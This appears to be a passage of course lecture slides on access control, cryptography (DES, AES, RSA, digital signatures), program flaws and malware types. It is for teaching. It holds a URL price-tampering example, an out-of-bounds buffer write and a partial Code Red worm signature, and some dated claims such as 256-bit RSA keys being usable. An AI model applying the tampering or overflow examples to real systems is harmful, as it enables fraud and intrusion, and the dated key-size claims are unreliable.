- A user can create completely new objects and can define types of accesses previously unknown to the system.
- One possible access right to an object is transfer or **propagate**.
- Example: User passing access rights to another user.
- Concept of Domain (collection of objects to which the process has access).
- Example: When a process executes, it operates in a domain or local name space.

Procedure-Oriented Access Control

- A procedure that controls access to objects.
- The procedure forms a capsule around the object.
- Procedures can perform actions specific to a particular object in implementing access control.
- Example: Table of valid users in OS. addUser(), deleteUser(), verifyUser().
- Implements the principle of **information hiding** because the means of implementing an object are known only to the object's control procedure.
- Inefficient: no simple, fast access checking.

Role-Based Access Control

- Some users (such as administrators) should have significant privileges, while others (such as regular users or guests) must have lower privileges.
- Role-based access control lets us associate privileges with groups.
- Administering security is easier if we can control access by job demands, not by person.
- Access control keeps up with a person who changes responsibilities.
- System administrator does not have to choose the appropriate access control settings for someone.

GOODMORNING

jrrgpruqlqj
gpqdnqroknh
fznlk kmeww d
haqee cqwob h

Caesar Cipher
Vigenère Cipher (Key : abc)
Enigma M3 : UKW B
Enigma I : UKW A

Cryptography

- **Crypto**graphy conceals data against unauthorized access.
- Well-disguised data cannot easily be read, modified, or fabricated.
- Cryptography, though used extensively in context of sending secret messages, also involves protecting any digital object for access only by authorized people.
- Probable exploitations:
    - Interception
    - Interruption
    - Modification
    - Fabrication

Cryptography: Basic Idea

Entities:

- Message, M.
- Sender, S.
- Recipient, R.
- Transmission medium, T (Anybody S entrusts the message with).
- Interceptor or Intruder, O.

Terminology

- Encryption
- Decryption
- Cryptosystem
- Plaintext
- Ciphertext
- Algorithms/Ciphers
- Key

Process of **encoding** a message so that its meaning is not obvious.

Reverse process of transforming an encrypted message back into its normal, original form.

Encode/Decode
Encipher/Decipher

A system for encryption and decryption.

Terminology

- Encryption
- Decryption
- Cryptosystem
- Plaintext
- Ciphertext
- Algorithms/Ciphers
- Key

The original form of a message.

The encrypted form of a message.

The encryption and decryption rules.

A device used by ciphers for encryption/decryption.

$C = E(K_E, P)$

$P = D(K_D, C)$

$P = D(K_D, E(K_E, P))$

Terminology

- Cryptanalysis
- Cryptanalyst
- Cryptology
- Work Factor

Cryptanalysis is the investigation of systems, ciphertext, and ciphers in order to reveal the hidden meaning or details of the system itself.

Studies encryption and encrypted messages, hoping to find the hidden meanings.
A cryptanalyst might work defensively, probing codes and ciphers to see if they are solid enough to protect data adequately.
Cryptographer vs Cryptanalyst?

- A cryptanalyst's chore is to **break** an encryption.
- An analyst works with a variety of information: encrypted messages, known encryption algorithms, intercepted plaintext, data items known or suspected to be in a ciphertext message, mathematical or statistical tools and techniques, and properties of languages, as well as plenty of ingenuity and luck.

Terminology

- Cryptanalysis
- Cryptanalyst
- Cryptology
- Work Factor

Cryptology is the research into and study of encryption and decryption; it includes both cryptography and cryptanalysis.

Amount of effort needed to **break** an encryption (or mount a successful attack).

- An encryption algorithm is called **breakable** when, given enough time and data, an analyst can determine the algorithm. Two issues:

1. In cryptanalysis there are no rules: Any action is fair play. Cryptanalysts make use of ingenuity.
2. Estimates of breakability are based on current technology.

Terminology: Symmetric and Asymmetric Encryption

$C = E(K_E, P)$
$P = D(K_D, C)$
$P = D(K_D, E(K_E, P))$

- $Encryption\ Technique = \begin{cases} Symmetric, & K_E = KD \\ Asymmetric, & K_E \neq K_D \end{cases}$
- Symmetric encryption: one key encrypts and decrypts.
- Asymmetric encryption: one key encrypts, a different key decrypts.
- Keyless Ciphers: An encryption scheme that does not require the use of a key.
- Significance of a key?

Terminology: Symmetric and Asymmetric Encryption

- Symmetric Encryption : single-key or secret key encryption.
- The symmetric systems provide a two-way channel to their users: A and B share a secret key, and they can both encrypt information to send to the other as well as decrypt information from the other.
- If the key remains secret, the system also provides **authenticity**. How?
- Advantages and Disadvantages?
- Key Distribution. Key Management.
- ‘n’ users who want to communicate in pairs need n * (n – 1)/2 keys.
- The number of keys needed increases at a rate proportional to the square of the number of users!

Terminology: Symmetric and Asymmetric Encryption

- Asymmetric Encryption : Public key encryption.
- Precisely matched pairs of keys. The keys are produced together, or one is derived mathematically from the other.
- Key management involves storing, safeguarding, and activating keys.
- Asymmetric systems excel at key management.

(a) Symmetric Cryptosystem

(b) Asymmetric Cryptosystem

Stream and Block Ciphers

- Depends on the nature of the data to be concealed.
- **Stream encryption**: Each bit (or perhaps each byte) of the data stream is encrypted separately.
- The input symbols are transformed one at a time.
- Advantage of a stream cipher: can be applied immediately to whatever data items are ready to transmit.

Stream and Block Ciphers

- **Block cipher** encrypts a group of plaintext symbols as a single block.
- Block ciphers work on blocks of plaintext and produce blocks of ciphertext.

Stream and Block Ciphers

	Stream	Block
Advantages	• Speed of transmission • Low Error Propagation	• High Diffusion • Immunity to insertion of symbol
Disadvantages	• Low Diffusion • Susceptible to malicious insertions and modifications	• Slowness of encryption • Padding • Error Propagation
Examples	Additive Ciphers Shift Cipher Caesar Cipher Playfair Cipher Vigenere Cipher	DES AES

Data Encryption Standard (DES)

- The DES algorithm was developed in the 1970s by IBM for the U.S. NIST.
- DES is a careful and complex combination of two fundamental building blocks of encryption: **substitution** and **transposition**.
- DESign Overview:

Cipher Type	Feistel, Block
Block Length	64 bits
Key Length	56 bits
Number of Rounds	16
Size of subkey (round key)	48 bits
Cipher Design Components	S-box, P-box

Data Encryption Standard (DES)

- Suitable for implementation in software on most current computers : uses only standard **arithmetic** and **logical** operations on binary data up to 64 bits long.
- Involves 16 iterations.
- Each iteration employs:
  - a substitution step,
  - a permutation step, and
  - a key transformation.

DES Structure

Initial and Final Permutations

Initial Permutation							
58	50	42	34	26	18	10	02
60	52	44	36	28	20	12	04
62	54	46	38	30	22	14	06
64	56	48	40	32	24	16	08
57	49	41	33	25	17	09	01
59	51	43	35	27	19	11	03
61	53	45	37	29	21	13	05
63	55	47	39	31	23	15	07

Final Permutation							
40	08	48	16	56	24	64	32
39	07	47	15	55	23	63	31
38	06	46	14	54	22	62	30
37	05	45	13	53	21	61	29
36	04	44	12	52	20	60	28
35	03	43	11	51	19	59	27
34	02	42	10	50	18	58	26
33	01	41	09	49	17	57	25

Rounds

L_{i-1}
R_{i-1}
$f(R_{I-1}, K_I)$
32 bits
Expansion P-box
48 bits
Mixer
XOR
K_I (48 bits)
48 bits
S-Boxes
S S S S S S S S
Round
32 bits
Straight P-box
32 bits
XOR
Swapper
L_i
R_i

Double DES

- How double encryption works?
- Take two keys, k1 and k2, and perform two encryptions, one on top of the other: E(k2, E(k1,m)).
- Two encryptions with different 56-bit keys are equivalent in work factor to one encryption with a 57-bit key.
- Some 56-bit DES keys have been derived in just days.
- Double DES adds essentially no more security.

Triple DES

- Triple DES procedure : C = E(k3, E(k2, E(k1,m))).
- This process gives a strength roughly equivalent to a 112-bit key.
- Different variation: encrypt–decrypt–encrypt.
- C = E(k1, D(k2, E(k1,m))).
- Advantage?
- One algorithm can produce results for both conventional single-key DES and the more secure two-key method.
- This two-key, three-step version is rated at only about 80 bits.

Data Encryption Standard (DES)

Form	Operation	Properties	Strength
DES	Encrypt with one key	56-bit key	Inadequate for high-security applications by today's computing capabilities
Double DES	Encrypt with first key; then encrypt result with second key	Two 56-bit keys	Only doubles strength of 56-bit key version
Two-key triple DES	Encrypt with first key, then encrypt (or decrypt) result with second key, then encrypt result with first key (E-D-E)	Two 56-bit keys	Gives strength equivalent to about 80-bit key (about 16 million times as strong as 56-bit version)
Three-key triple DES	Encrypt with first key, then encrypt or decrypt result with second key, then encrypt result with third key (E-E-E)	Three 56-bit keys	Gives strength equivalent to about 112-bit key about 72 quintillion ($72*10^{15}$) times as strong as 56-bit version

Security of DES

- Brute Force
- Differential Cryptanalysis
- Linear Cryptanalysis
- MIM Attack

Is DES insecure?

- Assume that single-key DES can be broken in one hour.
- The simple double-key version could then be broken in two hours?
- But $2^{80}/2^{56} = 2^{24}$ = over 16,700,000.
- It would take 16 million hours, nearly 2,000 years, to defeat a two-key triple DES encryption, and considerably longer for the three-key version.

- Conspiracy Theorists view!
- In 1997, researchers using a network of over 3,500 machines in parallel were able to infer a DES key in four months' work.
- In 1998 for approximately $200,000 U.S. researchers built a special "DES cracker" machine that could find a DES key in approximately four days, a result later improved to a few hours.

Advanced Encryption Standard (AES)

A Little Perspective

- Search for AES :1997
- Requirements: Open algorithm, 128-bit blocks, 3 key sizes:128, 192, 256 bits
- Proposals submitted: 21
- Accepted: 15
- Finalists: MARS, RC6, Rijndael, Serpent, Twofish
- Rijndael by John Daemen and Vincent Rijmen selected as AES in October 2000.
- AES published as FIPS 197 in December 2001.

Evaluation Criteria

- Security
  - Resistance to cryptanalysis, soundness of math, randomness of output.
- Cost
  - Computational efficiency (speed)
  - Memory requirements
- Algorithm / Implementation Characteristics
  - Flexibility, hardware and software suitability, algorithm simplicity

AES Overview

Cipher Type	Non-Feistel, Block
Block Length	128 bits
Key Length	128, 192 or 256 bits
Number of Rounds	10, 12 or 14
Size of subkey(round key)	128 bits
Number of round Keys	N_r +1
Data Units	bits, bytes, words, blocks and **States**
Operations Used	substitution, transposition, the shift, exclusive OR, and addition operations.

AES: Components and Methods

- Convert bytes to state arrays.
- Transformations (and their inverses)
  - SubBytes → Substitution
  - ShiftRows → Permutation
  - MixColumns
  - AddRoundKey
- Key Expansion

Bytes to State

AES: A Round

Notes:

1. One AddRoundKey is applied before the first round.
2. The third transformation is missing in the last round.

The AES Cipher : Original Design

AES versus DES

	DES	AES
Date designed	1976	1999
Block size	64 bits	128 bits
Key length	56 bits (effective length); up to 112 bits with multiple keys	128, 192, 256 (and possibly more) bits
Operations	16 rounds	10, 12, 14 (depending on key length); can be increased
Encryption primitives	Substitution, permutation	Substitution, shift, bit mixing
Cryptographic primitives	Confusion, diffusion	Confusion, diffusion
Design	Open	Open
Design rationale	Closed	Open
Selection process	Secret	Secret, but open public comments and criticisms invited
Source	IBM, enhanced by NSA	Independent Dutch cryptographers

Public Key Cryptography (PKC)

- Need for Public Key Cryptography?
- Key Distribution. With a conventional symmetric key system, each pair of users needs a separate key. An n-user system requires n * (n – 1)/2 keys.
- PKC : Invented by Whitfield Diffie and Martin Hellman in 1976.
- In a public key or asymmetric encryption system, each user has two keys: a public key and a private key. (One of the keys does not have to be kept secret.)
- Basis: Allow the key to be divulged but keep the decryption technique secret. How is it accomplished?

PKC : Characteristics

- Each user has two keys: a public key and a private key.
- Each key does only encryption or decryption, but not both.
- The keys operate as inverses, meaning that one key undoes the encryption provided by the other key.

$$\mathbf{P = D(k_{PRIV}, E(k_{PUB}, P))}$$

- For some public key encryption algorithms, $P = D(k_{PUB}, E(k_{PRIV}, P))$.
- Any deductions?
- Public and private keys can be applied in either order.
- Decryption function *D* can be applied to any argument so that we can **decrypt before we encrypt.**

The Rivest–Shamir–Adelman (RSA) Algorithm

- RSA cryptosystem is a public key system.
- Keys used in RSA: d and e, for decryption and encryption.
- Either can be chosen as the public key (keys are interchangeable).

$$C = RSA(P,e).$$

$$P = RSA(RSA(P, e), d) = RSA(RSA(P, d), e)$$

RSA Properties

- Keys are long. 256 bits is considered the minimum usable length.
- Slower than DES and AES. Why?
  - Encryption in RSA is done by exponentiation. For DES and AES uses basic operations like substitution and transposition.
  - the time to encrypt increases exponentially as the exponent (key) grows longer.
- The encryption algorithm is based on the underlying problem of factoring large numbers in a finite set called a field.
- RSA encrypts blocks of various sizes.
- Generally reserved for limited uses at which it excels. Applications: Digital Signatures

RSA Cryptosystem

Key calculation in
$\mathbf{G} = < Z_{\phi(n)^*}, \times >$

Select p, q
$n = p \times q$
Select e and d

Symmetric vs Asymmetric Cryptography

	Secret Key (Symmetric)	Public Key (Asymmetric)
Number of keys	1	2
Key size (bits)	Depends on the algorithm; 56–112 (DES), 128–256 (AES)	Unlimited; typically no less than 256; 1000 to 2000 currently considered desirable for most uses
Protection of key	Must be kept secret	One key must be kept secret; the other can be freely exposed
Best uses	Cryptographic workhorse. Secrecy and integrity of data, from single characters to blocks of data, messages and files	Key exchange, authentication, signing
Key distribution	Must be out-of-band	Public key can be used to distribute other keys
Speed	Fast	Slow, typically by a factor of up to 10,000 times slower than symmetric algorithms

Public Key Cryptography to Exchange Secret Keys

- While transacting with unknown parties, an encrypted means to exchange keys is needed to establish an encrypted session.
- Since asymmetric keys come in pairs, one half of the pair can be exposed without compromising the other half.
- Two key exchange protocols:
    1. Simple Key Exchange Protocol
    2. Revised Key Exchange Protocol

Simple Key Exchange Protocol

Man-in-the-Middle Attack

Revised Key Exchange Protocol

Revised Key Exchange Protocol

Security of Revised Key Exchange Protocol

- Mike can certainly intercept both public keys in steps 1 and 2 and substitute his own.
- Mike cannot take half the result, decrypt it using his private key, and re-encrypt it under Bob's key.
- Bits cannot be decrypted one by one and reassembled.
- The problem of the person in the middle can be solved in another way:

$$\mathbf{E(k_{PUB\text{-}B}, E(k_{PRIV\text{-}A}, K))}$$

- Only Bob can remove the encryption applied with $k_{PUB\text{-}B}$, using $k_{PRIV\text{-}B}$.
- Bob knows that only Alice could have applied $k_{PRIV\text{-}A}$ that Bob removes with $k_{PUB\text{-}A}$.

Error Detecting Codes: Concepts

- Communications are prone to errors in transmission.
- The need now: Some way to determine that the transmission is complete and intact.
- Error detecting codes: hash codes, message digests, checksums, integrity checks, error detection and correction codes, and redundancy tests.
- Basic purpose: demonstrate that a block of **data has been modified**.
- A **message digest** will (sometimes) signal that content has changed, but it is **less solid at demonstrating no modification**, even though that is what we really want. We

Error Detecting Codes: Concepts

- Three cases can arise with the code value:
  1. Value changed
  2. No value included
  3. No change → Problematic Situation.

Two major uses of cryptographic checksums:
1. Code-tamper protection
2. Message integrity protection in transit

- **Collision**: Two inputs that produce the same output. Why does it happen?
  - Message digests are many-to-one functions.
- Hash or checksum or **message digest**: shields a file so that change is detected.
- **Cryptographic Checksum**: A cryptographic function that produces a checksum. It is a **digest function using a cryptographic key** that is presumably known only to the originator and the proper recipient of the data.

Digital Signature

- A **digital signature** is a protocol that produces the same effect as a real signature.
- It is a mark that only the sender can make but that other people can easily recognize as belonging to the sender.
- Properties of Secure Paper-Based Signatures: (Example: Cheques)
  - A cheque is a **tangible** object authorizing a financial transaction.
  - The signature on the check confirms **authenticity**.
  - In the case of an alleged forgery, a third party can be called in **to judge authenticity.**
  - Once a cheque is cashed, it is canceled so that it **cannot be reused**.
  - The paper cheque is **not alterable**.

Digital Signature: Requirements

Four **objectives** of a digital signature:

- Unforgeable

  If person S signs message M with signature Sig(S,M), no one else can produce the pair [M, Sig(S,M)].

- Authentic

  R can check that the signature is really from S.

- Unalterable

  After being transmitted, M cannot be changed by S, R, or an interceptor.

- Not reusable

  A previous message presented again will be instantly detected by R.

To address **authenticity**, we need a structure that binds a user's identity and public key in a **trustworthy** way.

Digital Signature: Requirements

Certificates

- A public key and user's identity are bound together in a **certificate**, which is then signed by a certificate authority.
- A **certificate authority** certifies the accuracy of the binding.
- Examples.
- Trust.

Digital Signature Components

Components of a digital signature:

- A file.
- Demonstration that the file has not been altered.
- Indication of who applied the signature.
- Validation that the signature is authentic, that is, that it belongs to the signer.
- Connection of the signature to the file.

DS: Hash Code to Detect Changes

Use a secure hash code of the file to compute a message digest and include that hash code in the signature.

DS: Encryption to Show Authenticity

Apply the signer's private encryption key to encrypt the message digest.

Because only the signer knows that key, the signer is the only one who could have applied it.

DS: Indication of Signer

The signer's identity has to be outside the encryption because if it were inside, the identity could not be extracted.

DS: Asymmetric Encryption Covering the Hash Value

Only Hash value. Is it enough?

DS: Digitally Signed Object Protected for Both Integrity and Confidentiality

Summary

Prepare a Map.

Tool	Uses
Secret key (symmetric) encryption	Protecting confidentiality and integrity of data at rest or in transit
Public key (asymmetric) encryption	Exchanging (symmetric) encryption keys Signing data to show authenticity and proof of origin
Error detection codes	Detect changes in data
Hash codes and functions (forms of error detection codes)	Detect changes in data
Cryptographic hash functions	Detect changes in data, using a function that only the data owner can compute (so an outsider cannot change both data and the hash code result to conceal the fact of the change)
Error correction codes	Detect and repair errors in data
Digital signatures	Attest to the authenticity of data
Digital certificates	Allow parties to exchange cryptographic keys with confidence of the identities of both parties

Book

- Pfleeger C. P., Pfleeger S. L. and Margulies J., Security in Computing (5e), Prentice Hall, 2015, Chapter 2.

Programs and Programming

ICT 3156

Introduction

- Programs are simple things but they can wield mighty power.
- Programs are just strings of 0s and 1s, representing elementary machine commands.
- Security failures can result from **intentional** or **non-malicious** causes; both can cause harm.

Fault, Failure, and Flaw

Every failure has at least one fault as its root cause. But not every fault corresponds to a failure.

Fault

- When a human makes a mistake, called an **error**, in performing some software activity, the error may lead to a fault.
- **Fault**: **An incorrect step**, command, process, or data definition in a computer program, design, or documentation.
- A fault is an inside view of the system, as seen by the eyes of the developers.

Failure

- A **failure** is a departure from the system's required behavior.
- It can be discovered before or after system delivery, during testing, or during operation and maintenance.
- A failure is an outside view: a problem that the user sees.

Program Flaws

- Program flaws can have two kinds of security implications:

1. They can cause integrity problems leading to harmful output or action.
    - Integrity involves correctness, accuracy, precision, and consistency.
    - A faulty program can also inappropriately modify previously correct data, sometimes by overwriting or deleting the original data.
2. They offer an opportunity for exploitation by a malicious actor.

- **Programming Oversights**
    - Buffer Overflows
    - Off-by-one Errors
    - Incomplete Mediation
    - Time-of-check To Time-of-use Errors

Buffer Overflows

- A buffer (or array or string) is a space in which data can be held.
- Because memory is finite, a buffer's capacity is finite. Static and dynamic allocation.
- Buffer overflow: when user input exceeds max buffer size.
- Buffer overflows often come from innocent programmer oversights or failures to document and check for excessive data.
- Buffer overflow attacks are examples of **data driven attack;** here the harm occurs by the data the attacker sends.
- Case Study: David Litchfield, 1999.
- To understand buffer overflow, we need to first understand how memory is allocated.

Buffer Overflow

- In memory, code is indistinguishable from data. The origin of code (respected source or attacker) is also not visible.
- Any memory location can hold any piece of code or data.
- Computers use a pointer or register known as a **program counter** that indicates the next instruction.
- Usually we do not treat code as data, or vice versa. However, attackers sometimes do so.
- The attacker's trick is to **cause data to spill** over into executable code and then to select the data values such that they are **interpreted as valid instructions to perform the attacker's goal.**

Harm from Overflow

- The operating system's code and data coexist with a user's code and data.
- The attacker may replace code in the system space.

- Every program is invoked by an operating system that may run with higher privileges than those of a regular program.
- If the attacker can gain control by masquerading as the operating system, the attacker can execute commands in a powerful role. This technique is called **privilege escalation**.

Harm from Overflow

- The intruder may wander into an area called the stack and heap.
- The stack and heap grow toward each other, and you can predict that at some point they might collide.
- **Stack Smashing:** The attacker wants to overwrite stack memory, in a purposeful manner: Arbitrary data in the wrong place causes strange behavior, but particular data in a predictable location causes a planned impact.
- Some ways the attacker can produce effects from an overflow attack:

1. Overwrite the program counter.
2. Overwrite part of the code in low memory.
3. Overwrite the program counter and data in the stack.

Common feature of these attack methods?

Buffer Overflow: Example

```
char sample[10];
```

1.

```
sample[10] = 'B';
```

The subscript is out of bounds.

2.

```
sample[i] = 'B';
```

Buffer Overflow: Example

```
char sample[10];
```

1.

```
sample[10] = 'B';
```

The subscript is out of bounds.

2.

```
sample[i] = 'B';
```

3.

```
for (i=0; i<=9; i++)
   sample[i] = 'A';
sample[10] = 'B'
```

Buffer Overflow: Example

```
char sample[10];
1.
sample[10] = 'B';
```

The subscript is out of bounds.

```
2.
sample[i] = 'B';

3.
for (i=0; i<=9; i++)
   sample[i] = 'A';
sample[10] = 'B'
```

Affecting Your Own Data and Instruction.

Overflow Countermeasures

- The most obvious countermeasure to overwriting memory is to stay within bounds.
- Maintaining boundaries is a shared responsibility of the programmer, operating system, compiler, and hardware.
- Check **lengths** before writing.
- Confirm that array **subscripts** are within **limits**.
- Double-check **boundary condition code** to catch possible off-by-one errors.
- Monitor **input** and accept only as many characters as can be handled.
- Use string **utilities** that transfer only a **bounded** amount of data.
- Check procedures that might **overrun** their space.
- Limit programs' **privileges**.

Off-by-One Error

- Miscalculating the condition to end a loop.

  repeat while **i< = n or i<n**?

  repeat until **i=n ori>n**?

- Overlooking that an array of A[0] through A[n] contains n+1 elements.
- Cause:
  - Programmer is at fault.
  - Merging actual data with control data/metadata.

Incomplete Mediation

- **Mediation** means checking: the process of intervening to confirm an actor's authorization **before** it takes an intended action.
- Verifying that the subject is authorized to perform the operation on an object is called mediation.
- Incomplete mediation is a security problem that has been with us for decades.

Incomplete Mediation

1. http://www.somesite.com/subpage/userinput.asp?parm1=(808) 555-1212&parm2=2015Jan17
2. http://www.somesite.com/subpage/userinput.asp?parm1=(808) 555-1212&parm2=2015Feb30
3. http://www.somesite.com/subpage/userinput.asp?parm1=(808) 555-1212&parm2=1500Jan17
4. http://www.somesite.com/subpage/userinput.asp?parm1=(808) 555-1212&parm2=2095Abc47
5. http://www.somesite.com/subpage/userinput.asp?parm1=(808) 555-1212&parm2=SomeAbsurdValue123

Incomplete Mediation: Effects

- The system would fail catastrophically, with a routine's failing on a data type error.
- The receiving program would continue to execute but would generate a very wrong result.

Incomplete Mediation: Countermeasures

- Validate All Input. Try to anticipate them. Drop-down or choice boxes, etc.
- Do not leave sensitive data under control of an untrusted user.

http://www.things.com/order.asp?custID=101&part=555A&qy=20&price=10&ship=boat&shipcost=5&total=205

http://www.things.com/order.asp?custID=101&part=555A&qy=20&price=1&ship=boat&shipcost=5&total=25

- Solution is complete mediation.
- The three properties of a reference monitor are (1) small and simple enough to give confidence of correctness, (2) unbypassable, and (3) always invoked.
- These three properties combine to give us solid, complete mediation.

Time-of-check To Time-of-use Errors

- Involves synchronization.
- Instructions that appear to be adjacent may not actually be executed immediately after each other, either because of intentionally changed order or because of the effects of other processes in concurrent execution.
- Between access check and use, data must be protected against change.
- Example.
- It exploits the delay between the two actions: check and use.
- Between the time the access was checked and the time the result of the check was used, a change occurred, invalidating the result of the check.

Time-of-check To Time-of-use Errors

- **Security Implication**
  - Checking one action and performing another is an example of **ineffective access control**, leading to confidentiality failure and/or integrity failure.
- **Countermeasures**
  - Critical parameters are not exposed during any loss of control. The access-checking software must own the request data until the requested action is complete.
  - Ensure serial integrity, that is, to allow no interruption (loss of control) during the validation.
- All these protection methods are expansions on the tamperproof criterion for a reference monitor.

Malicious Code: Malware

- **Malicious code** or **rogue programs** or **malware**
- General name for programs or program parts planted by an agent with malicious intent to cause unanticipated or undesired effects.
- The agent is the program's writer or distributor or both.
- Malicious intent distinguishes from unintentional errors, even though both kinds can certainly have similar and serious negative effects.
- Malicious code can be directed at a specific user or class of users, or it can be for anyone.

Why Worry About Malicious Code?

- Malicious code can do much harm.
    - Writing a message on a computer screen, stopping a running program, generating a sound or erasing a stored files.
- Malicious code has been around a long time.
    - Malicious code is still around and its effects are more pervasive.

Types of Malicious Codes

Code Type	Characteristics
Virus	Attaches itself to program and propagates copies of itself to other programs
Worm	Propagates copies of itself through a network
Trojan horse	Looks legal/normal programs, but contains unexpected, additional functionality
Logic bomb	Triggers action when condition occurs
Time bomb	Triggers action when specified time occurs
Trapdoor/backdoor	Allows unauthorized access to functionality
Rabbit	Replicates itself without limit to exhaust resources

Types of Malicious Code

Code Type	Characteristics
Virus	Code that causes malicious behavior and propagates copies of itself to other programs
Trojan horse	Code that contains unexpected, undocumented, additional functionality
Worm	Code that propagates copies of itself through a network; impact is usually degraded performance
Rabbit	Code that replicates itself without limit to exhaust resources
Logic bomb	Code that triggers action when a predetermined condition occurs
Time bomb	Code that triggers action when a predetermined time occurs
Dropper	Transfer agent code only to drop other malicious code, such as virus or Trojan horse
Hostile mobile code agent	Code communicated semi-autonomously by programs transmitted through the web
Script attack, JavaScript, Active code attack	Malicious code communicated in JavaScript, ActiveX, or another scripting language, downloaded as part of displaying a web page
RAT (remote access Trojan)	Trojan horse that, once planted, gives access from remote location
Spyware	Program that intercepts and covertly communicates data on the user or the user's activity
Bot	Semi-autonomous agent, under control of a (usually remote) controller or "herder"; not necessarily malicious
Zombie	Code or entire computer under control of a (usually remote) program
Browser hijacker	Code that changes browser settings, disallows access to certain sites, or redirects browser to others
Rootkit	Code installed in "root" or most privileged section of operating system; hard to detect
Trapdoor or backdoor	Code feature that allows unauthorized access to a machine or program; bypasses normal access control and authentication
Tool or toolkit	Program containing a set of tests for vulnerabilities; not dangerous itself, but each successful test identifies a vulnerable host that can be attacked
Scareware	Not code; false warning of malicious code attack

Virus, Worm, and Trojan Horse

- A **virus** is a program that can replicate itself and pass on malicious code to other non-malicious programs by modifying them.
- It infects other healthy subjects by attaching itself to the program and either destroying the program or coexisting with it.
- The infection usually spreads at a geometric rate.
- Virus: Transient or Resident.
- A **transient** virus has a life span that depends on the life of its host.
- A **resident** virus locates itself in memory; it can then remain active or be activated as a stand-alone program, even after its attached program ends.

Virus, Worm, and Trojan Horse

- A **worm** is a program that spreads copies of itself through a network.
- What is the primary difference between a worm and a virus?
- A worm operates through networks, and a virus can spread through any medium.
- The worm spreads copies of itself as a stand-alone program, whereas the virus spreads copies of itself as a program that attaches to or embeds in other programs.
- Worms do have a common, useful purpose. Crawlers.

Virus, Worm, and Trojan Horse

- A **Trojan horse** is malicious code that, in addition to its primary effect, has a second, nonobvious, malicious effect.
- Trojan horse malware slips inside a program undetected and produces unwelcome effects later on.
- Example?
- Trojan horse is on the surface a useful program with extra, undocumented (malicious) features. It does not necessarily try to propagate.

General Exploit Timeline

Zero-day exploit: An attack before availability of the control.

Zero day attack: Active malware exploiting a product vulnerability for which the manufacturer has no countermeasure available.

An attacker discovers a previously unknown vulnerability.

The manufacturer becomes aware of the vulnerability.

Someone develops code (called proof of concept) to demonstrate the vulnerability in a controlled setting.

The manufacturer develops and distributes a patch or workaround that counters the vulnerability.

Users implement the control.

Someone extends the proof of concept, or the original vulnerability definition, to an actual attack.

Virus: Triggering

- For malware to do its malicious work and spread itself, it must be executed to be activated.
- A SETUP program that is run to load and install a new program on a computer.

  Virus code could be in the distribution medium. On execution, may install itself in a permanent storage or in any executing programs in memory.

  May or may not be human triggered.

Any other?

- Email Attachment/ Attached File
- Document Virus
- Autorun

  Autorun is a feature of operating systems that causes the automatic execution of code based on name or placement.

How Viruses Attach

- Appended viruses:
- Beginning
- Viruses that surround a program.
- Integrated viruses and replacement.

Appended Viruses

- A program virus attaches itself to a program. Then, whenever the program is run, the virus is activated.
- Usually easy to design and implement.

- Simple and usually effective.
- The virus writer need not know anything about the program to which the virus will attach.
- Often the attached program simply serves as a carrier for the virus.
- The virus performs its task and then transfers to the original program.

Viruses That Surround A Program

- Virus runs the original program but has control before and after its execution.

Integrated Viruses And Replacement

- Virus replaces some of its target, integrating itself into the original code of the target.
- The virus writer has to know the exact structure of the original program. Why?
- To know where to insert which pieces of the virus.

How Malicious Code Gains Control

- To gain control of processing, malicious code such as a virus (V) has to be invoked instead of the target (T).
- The virus has to either seem to be the target, or has to push the target out of the way and become a substitute itself.
- Invoked:
  - The virus can assume T's name by replacing (or joining to) T's code in a file structure.
  - The virus can overwrite T in storage.
  - The virus can change the pointers in the file table so that the virus is located instead of T whenever T is accessed through the file system.

How Malicious Code Gains Control

Homes for Malware

The virus writer may find these qualities appealing in a virus :

- It is hard to detect.
- It is not easily destroyed or deactivated.
- It spreads infection widely.
- It can re-infect its home program or the other programs.
- It is easy to create.
- It is machine independent and OS independent.

Homes for Malware

- **One-Time Execution (Implanting)**
  - Malicious code often executes a one-time process to transmit or receive and install the infection.
  - The first step is to acquire and install the code. It must be quick and not obvious to the user.
- **Boot Sector Viruses**
  - The virus gains control early in the boot process, before most detection tools are active, so that it can avoid, or at least complicate, **detection**.
  - OS, device handlers, and other necessary applications are numerous and have unintelligible names, so malicious code writers do not need to hide their code completely.

Boot Sector Viruses

(a) Before infection

(b) After infection

Homes for Malware

- **Memory-Resident Viruses**
  - Frequently used parts of the OS and a few specialized user programs remains in memory and is called “resident” code.
  - Resident routines are sometimes called TSRs or “terminate and stay resident” routines.
  - Virus writers also like to attach viruses to resident code because the resident code is activated many times while the machine is running.
  - Each time the resident code runs, the virus gets activated too. It can then look for and infect uninfected carriers.
  - A virus can also modify the operating system’s table of programs to run. How is this vicious?

Other Homes for Malware

- Many applications, such as word processors and spreadsheets, have a “macro” feature, by which a user can record a series of commands and then repeat the entire series with one invocation.
- A virus writer can create a virus macro that adds itself to the startup directives for the application. It also then embeds a copy of itself in data files so that the infection spreads to anyone receiving one or more of those files.
- Code libraries
- Simple files like PDF (interpretive data) and their handlers (interpreter).
- If there is a flaw in the PDF interpreter or the semantics of the PDF interpretive language, opening a PDF file can cause the download and execution of malicious code.

Polymorphic Viruses

- A virus that can change its appearance is called a polymorphic virus. (Poly means “many” and morph means “form.”)
- A two-form polymorphic virus can be handled easily as two independent viruses.
- Therefore, the virus writer **intent on preventing detection** of the virus will want either a **large or an unlimited number of forms** so that the number of possible forms is too large for a virus scanner to search for.
- A polymorphic virus has to **randomly reposition** all parts of itself **and randomly change all fixed data.**
- A simple variety of polymorphic virus uses encryption under various keys to make the stored form of the virus different. These are sometimes called **encrypting viruses**.

Countermeasures for Users

- User Vigilance
- Virus Detectors
- Virus Signatures
- Code Analysis

User Vigilance

- Use only commercial software acquired from reliable, well-established vendors.
- Use virus detectors (often called virus scanners) regularly and update them daily.
- Test all new software on an isolated computer.
- Open attachments only when you know them to be **safe**.
- Install software—and other potentially infected executable code files—only when you really, really know them to be safe.
- Recognize that any web site can be potentially harmful.
- Make a recoverable system image and store it safely.
- Make and retain backup copies of executable system files.

Virus Detectors and Virus Signatures

- A virus cannot be completely invisible. Code must be stored somewhere, and the code must be in memory to execute.
- Each of these characteristics yields a telltale pattern, called a **signature** . The virus's signature is important for creating a program, called a virus scanner , that can detect and, in some cases, remove viruses.
- **Virus scanners** are tools that look for signs of malicious code infection. Most such tools look for a **signature** or **fingerprint.**
- Detection tools are necessarily retrospective, looking for patterns of known infections.
- Keep scanners updated!

Virus Signature Example

- A scanner looking for signs of the Code Red worm can look for a pattern containing the following characters:

```
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
